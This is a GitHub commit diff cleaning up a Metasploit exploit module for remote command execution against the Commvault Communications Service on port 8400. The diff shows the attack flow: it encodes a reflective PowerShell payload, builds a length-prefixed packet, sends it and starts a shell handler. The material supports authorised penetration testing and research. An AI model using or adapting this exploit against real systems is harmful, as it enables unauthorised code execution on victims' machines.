Skip to content

Commit e088c95

Browse files
committed
Module Cleanup
1 parent d657a9d commit e088c95

File tree

1 file changed

+11
-17
lines changed

1 file changed

+11
-17
lines changed

modules/exploits/windows/misc/commvault_cmd_exec.rb

Lines changed: 11 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -40,37 +40,31 @@ def initialize(info={})
4040
}
4141
],
4242
],
43-
'Privileged' => false,
43+
'Privileged' => true,
4444
'DefaultTarget' => 0,
4545
'DisclosureDate' => 'Dec 12 2017'))
4646

47-
register_options(
48-
[
49-
Opt::RPORT(8400),
50-
])
47+
register_options([Opt::RPORT(8400)])
48+
5149
end
5250

5351
def exploit
5452

55-
print_status("Executing payload")
56-
buf = build_exploit()
57-
53+
buf = build_exploit
54+
print_status("Connecting to Commvault Communications Service.")
5855
connect
59-
print_status("Connected to Commvault Communications Service.")
56+
print_status("Executing payload")
6057
#Send the payload
6158
sock.put(buf)
62-
6359
#Handle the shell
6460
handler
6561
disconnect
6662

6763
end
6864

6965

70-
def build_exploit()
71-
72-
ret_data = ''
73-
66+
def build_exploit
67+
7468
#Get encoded powershell of payload
7569
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
7670
#Remove additional cmd.exe call
@@ -79,7 +73,7 @@ def build_exploit()
7973
command = command[(idx)..-1]
8074

8175
#Build packet
82-
cmd_path = "C:\\Windows\\System32\\cmd.exe"
76+
cmd_path = 'C:\Windows\System32\cmd.exe'
8377
msg_type = 9
8478
zero = 0
8579
payload = ""
@@ -96,9 +90,9 @@ def build_exploit()
9690

9791
#Add length header and payload
9892
ret_data = [payload.length].pack('I>')
99-
ret_data += payload
93+
ret_data += payload
10094

101-
return ret_data
95+
ret_data
10296

10397
end
10498
end

0 commit comments

Comments
 (0)